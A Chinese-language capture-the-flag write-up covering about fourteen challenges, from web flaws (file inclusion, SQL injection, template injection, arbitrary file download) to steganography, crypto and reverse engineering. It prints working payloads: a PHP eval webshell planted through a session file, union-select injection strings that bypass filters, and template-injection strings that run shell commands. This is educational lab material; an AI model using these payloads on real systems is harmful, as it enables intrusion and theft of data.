四叶草交流赛赛后整理

1.上网认证系统
image1.png
进去后就是一个登陆界面 观察他的url 发现他上传了一个为action的参数
image2.png
扫描这个网站可以扫出phpinfo 
http://4550acc62687ba5c.yunyansec.com/info.php
可知他是linux系统
image3.png
由于allowurl_include是关闭的所以就不能用input://协议data://协议来getshell(如果是windows系统是可以绕过的)
image4.png
所以我们可以通过  php://filter/ ( 在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,主要用于读取源代码并进行base64编码输出)来下载它的源码
这是windows和linux都可以使用的方法
php://filter/read=convert.base64-encode/resource=
image5.png
只要用base64解码后就是他的源码 所以我们就把他们的源码都给抄下来看看
在login的源码里看到了他用username生成一个session文件 
$_SESSION['username'] = base64_encode($row[0]);
并且在phpinfo可以找到存放session文件的地址就是默认的/var/lib/php5
文件
image6.png
引号内解码后就是1231230
那么我们现在的思路就来了
注册个含有恶意代码的id
然后用文件包含漏洞解析恶意代码
如果username过短会导致解析错误 这是由base64解码方式导致的 四位一组 刚好会把base64的开头一位或两位和前面的内容一起解析 我们能够修改的就只有base64的长度 只要让他是三位数就可以了
于是我注册了123123123123123123123123123123123123123123123123123123123123123<?php eval($_GET[a]) ?>
image7.png
放进去解析一下 成功了
image8.png
我们就可以给自己传的一句话传点东西了
image9.png

  1. 我的大学生活
    进去后有两个页面可以显示
    image10.png
    image12.png
     
    发现第二个窗口有参数可以输入
    image13.png
    猜测是注入问题
    测试输入参数测试注入是否存在,发现屏蔽空格,可以使用一些绕过空格的字符串如//
    第一步判断是否有注入点
    输入
    /%26//0
    image14.png
    输入
    /%26//1
    image15.png
     
    判断是有注入点
    第二步
    判断有几列,输入payload
    (因为order by被屏蔽,所以用相同的group)
    /group//by//8
    image16.png
    此时输入8没有返回证明有7列
    第三步:查找数据库名
    输入payload
    -1//union//select//1,database(),3,4,5,6,7
    image17.png
    查询到数据库名为web
    第四步:查表名
    输入payload
    /union//select//1,group_concat(table_name),3,4,5,6,7//from//information_schema.tables//where//!(table_schema<>"web")
    image18.png
    查询到flag表和word1表
    第五步:查字段名
    推测flag在flag表中,输入payload
    -1//union//select//1,group_concat(column_name),3,4,5,6,7//from//information_schema.columns//where//!(table_name<>"flag")
    image19.png
    查询到id和flag字段
    第六步:查的flag
    输入payload
    /union//select//1,flag,3,4,5,6,7//from//flag
    image20.png
    得到flag
  1. 打假(http://file.yunyansec.com/flag.rar)
     这道题目给了一个flag.rar后缀的压缩包  但是解压时候会需要密码
    image21.png
    之前去kali里面进行了各种密码爆破手段 都没有成功  分析题目后判断这里是考了伪加密的知识(伪加密知识详解
    https://blog.csdn.net/weixin_41687289/article/details/82695801)
    伪加密就是在十六进制文件下修改了几个地方  使其打开的时候会出现本身没有的加密密码  我们解题则需要将这些修改的伪加密改回去
    image22.png
    将rar压缩包在notepad++或其他类似软件下打开  这里我用的是notepad++
    然后修改加密注意点为00 00   (在notepad++文件下修改方式是按下alt同时鼠标选中要修改的地方 直接修改即可)
    image23.png
    修改保存后可以解压出flag文件 修改后缀为png即可查看flag
    image24.png
    4. 手绘  (http://file.yunyansec.com/timg.png)
    打开后显示的是一张png图片  将其保存到桌面
    image25.png
    一般拿到图片的题目后先查看属性  看看有没有重要信息
    image26.png

这里的高度和宽度有差别  第一想法可能是文件高度隐藏了flag   但是修改高度后没有其他信息  说明不是这个解法
在stegsolve中打开也没有找到有用的信息
image27.png
在修改高度的时候发现了png 
image28.png
考虑是不是里面包含了其他东西   拖进kali里面进行文件分离
binwalk加dd命令先分离 发现分离出来一个和原图一模一样的图片
image29.png
 两个图片进行盲水印的操作
执行代码    python bwm.py decode timg.png 1.png flag.png    即可得到flag.png的flag

  1. 阿童木
    涉及知识点:文件下载漏洞
    解题思路:
    发现可以下载网页内的任意图片 猜测是否存在任意文件下载漏洞
    查看页面源码
    image30.png
    发现都是访问download.php
    尝试访问download.php?name=download.php发现无法下载
    image31.png
    下载flag.php
    发现还是下载不了
    image32.png
    这时尝试去下载password文件
    image33.png
    flag的base64编码
    image34.png

6.后台管理系统
原理是基于约束的sql注入攻击
我们首先注册一个admin账号,发现用户名已存在
利用在SQL中执行字符串处理时,字符串末尾的空格符将会被删除的原理
我们再注册一个admin[许多空白符]的账号+随意输入的密码
image35.png
最后再登录admin账号+随意输入的密码即可获得flag
image36.png

  1. NES:
    知识点:

解题思路:
       一长串的字符就是加密密文,key应该是密钥
image37.png

  根据NES提示可以得知是加密了N次。DES的加密是56个bit+8个key,而超过64位的会被忽略,而这下面key中有48个就可以猜出其中有6组KEY,加密顺序从左往右。
image38.png

  建立一个脚本,取KEY中8个字符为一组,从后往前逐渐解密,即可获取flag

8.Blog:
知识点:

WP:
       只有“更换主题”那个页面可以操作,而有一个模板可以操作,通过post时使用大括号{}发现能使用,且不会反馈错误信息。
image39.png

        表达式可执行,且返回值为2,
image40.png

        然后可通过一些payload来注入获取系统信息
{{".class.mro.getitem(2).subclasses().pop(59).init.func_globals.linecache.os.popen("ls").read()}}
上面这句话是查看当前页面下有哪些文件
image41.png

{{".class.mro.getitem(2).subclasses().pop(59).init.func_globals.linecache.os.popen("cat c4ca4238a0b923820dcc129a6f75849b.py").read()}}
查看这个py脚本,然后即可发现flag
image42.png

  1. Find the hacker
    解题思路:
    首先访问题目地址,发现是一个web日志,由于浏览器查看不方便,所以我使用迅雷将日志文件下载到本地
    image43.png
    查看日志文件根据经验得知HEAD和GET请求为爆破敏感文件和目录,POST请求是爆破账户名和密码登陆
    所以我们过滤掉非POST请求的数据得到如图所示
    image44.png
    我们可以看见请求爆大小99%都是1779结合经验判断这是没有爆破成功的请求包,所以我们只需要找到请求包大小不是1779的即为爆破成功的请求包。
    即为这一条请求
    a86d7c97bc1fd47aee7b1ace2f069960.png

所以flag为flag{22/Apr/2020:17:36:06 +0800}
10.xbor
fnR5f2N7KXt5LyooLn59Kyp6fSp+LS96KCwpIX15LHt+Liope2U=
首先根据结尾的等号盲猜base64 解密后得到一串乱码
~tyc{){y/(.~}+z}~-/z(,)!}y,{~.){e
根据题目提示解xor 脚本如下
image45.png
image46.png

  1. Android01
    所需工具:ApkScan-PKID、AndroidKiller V1.3.1
    安装打开后是这个样子的
    image47.png
    起初我们随便输入,发现注册错误,没什么用。这时用到工具ApkScan-PKID,将文件拖进APK的查壳工具,发现没壳(如果发现壳,还要进行脱壳)
    image48.png
    发现没有壳,咱们打开AndroidKiller V1.3.1,起初第一步思考的是直接搜索flag会不会出来,发现不尽人意
    image49.png
    AndroidKiller V1.3.1工具栏上有个ldquo;字符串rdquo;他会对字符串进行分析,就像注册码错误这种
    image50.png
    我们点击字符串,发现flag立马出来了
    image51.png
    想要不这么凑巧的解题咱们可以看代码,下面是逆向的知识
    image52.png

上来没思路还是随便输,不出所料错误
image53.png
image54.png
延续上一题的思路,搜索flag,查字符串,都没得效果(不上图了)
这时候我们去搜索一下ldquo;无效用户名rdquo;,在整个项目中查找
image55.png
双击进入改字符的位置,往下一翻,就看到了flag
image56.png

  1. RE1
    打开后:
    随便输入一些内容:
    image57.png
    image58.png
    出现了假的flag。。。
    接下来进行逆向分析:
    首先PE查壳一下:
    image59.png
    是没壳的
    根据提示:有个关键函数是没有运行的
    首先打开IDA分析,看到main函数之前有个函数,并且main、函数内没有函数跳转到那
    image60.png
    可能是提示里的关键函数
    接着打开OD进行动态分析
    运行一遍
    image61.png
    当程序运行到这时直接关闭,并没有跳转的上面那个函数
    我试着修改这个函数的跳转位置
    image62.png

接着运行:得到提示
image63.png
base64解密:
image64.png
14. RE2
打开软件:
image65.png

看了题解发现当你拉大这个窗口的时候会出现输入框(太坑了。。)
image66.png

随便输入出现提示信息:flag error
image67.png
还是先PE查壳,是无壳的
接着打开OD分析
首先搜索下字符串
image68.png
找到flag error地方,并跳转到那里
image69.png

接着往上找,找到进入函数的地方
image70.png
设置断点进行调试
慢慢找到进行flag匹配的地方
也就是这个call函数
image71.png
这时我们就看到了寄存器窗口中的flag
image73.png

相关推荐

发表评论

路人甲

网友评论(0)